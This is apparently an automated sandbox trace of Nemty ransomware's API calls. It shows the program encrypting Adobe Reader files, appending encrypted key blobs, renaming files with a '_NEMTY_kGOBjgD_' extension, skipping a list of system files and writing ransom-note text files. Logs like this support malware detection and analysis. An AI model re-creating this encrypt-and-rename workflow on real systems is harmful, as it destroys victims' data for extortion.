[0189.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340430 [0189.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340508 [0189.952] Sleep (dwMilliseconds=0x5) [0189.960] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24df0c10, dwHighDateTime=0x1d561e8)) [0189.960] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24df0c10, dwHighDateTime=0x1d561e8)) [0189.960] GetLastError () returned 0x0 [0189.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.960] GetLastError () returned 0x0 [0189.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0189.960] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.960] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.960] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0189.961] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="tXGW0V7zl3le1md7XjNRBfNbVJv7pXtEjjTlYfNXX8A96xkTkWqdrhRVR0r6pWoH\r\nWJyQWq/ctZf50Fh2pJogsNUm6Ou4jIIQOm5IebRtGptHO6wonoIM1DPr0qJG9tBC\r\nSh6fnbQGUiq2AefEaBV6706HtP++rfbmySh9i4SckGa9Ejskld3ai90nWU9VY7JO\r\nyWRq3BvVXyUdQWVJ27WgqRcQPYJKe+Kpn7wXGhWgUTR4o0M0ZJ8OC3PtwkweLwrV\r\nvVuBo+84GEoeex2uJ5BcuEuh7I2+mfQFlky648yfU6p03Is9Z4iOKS1hNsiPw7Sm\r\nHDBm0IE+iNyO2MgFWW03zw==\r\n", pcchString=0x653df5c) returned 1 [0189.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0189.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0189.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.961] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.961] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=94105) returned 1 [0189.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x16f90) returned 0x6352c48 [0189.961] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.961] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x16f90, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x16f90, lpOverlapped=0x0) returned 1 [0189.969] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.969] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x16f90, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x16f90, lpOverlapped=0x0) returned 1 [0189.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.969] SetFilePointer (in: hFile=0x320, lDistanceToMove=94105, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x16f99 [0189.969] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.970] CloseHandle (hObject=0x320) returned 1 [0189.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344158 [0189.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0189.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0189.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0189.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0189.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344308 [0189.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0189.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0189.970] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0189.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0189.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0189.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340508 | out: hHeap=0x4f90000) returned 1 [0189.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.971] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24d58690, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24d58690, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24d7e7f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0189.971] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0189.971] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0189.971] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0189.971] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0189.971] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0189.971] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0189.971] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0189.971] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0189.971] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0189.971] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0189.971] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0189.971] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0189.971] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0189.971] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0189.971] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0189.971] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0189.972] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0189.972] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0189.972] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0189.972] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0189.972] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0189.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0189.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0189.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0189.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.973] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24d58690, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24d58690, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24d7e7f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0189.973] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0189.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0189.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0189.973] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="SVE", cAlternateFileName="")) returned 1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2=".") returned 1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2="..") returned 1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2="...") returned 1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2="windows") returned -1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2="$RECYCLE.BIN") returned 1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2="rsa") returned 1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2="NTDETECT.COM") returned 1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2="ntldr") returned 1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2="MSDOS.SYS") returned 1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2="IO.SYS") returned 1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2="boot.ini") returned 1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2="boot.ini") returned 1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2="AUTOEXEC.BAT") returned 1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2="ntuser.dat") returned 1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2="desktop.ini") returned 1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2="CONFIG.SYS") returned 1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2="RECYCLER") returned 1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2="BOOTSECT.BAK") returned 1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2="bootmgr") returned 1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2="programdata") returned 1 [0189.973] lstrcmpiW (lpString1="SVE", lpString2="appdata") returned 1 [0189.973] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SVE", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0189.973] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SVE", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SVE", lpUsedDefaultChar=0x0) returned 3 [0189.974] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SVE", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0189.974] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SVE", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SVE", lpUsedDefaultChar=0x0) returned 3 [0189.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0189.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340240 [0189.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0189.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0189.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0189.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0189.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0189.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0189.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0189.974] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0189.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0189.976] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.976] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0189.977] CloseHandle (hObject=0x2f0) returned 1 [0189.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0189.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0189.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0189.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0189.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0189.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0189.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 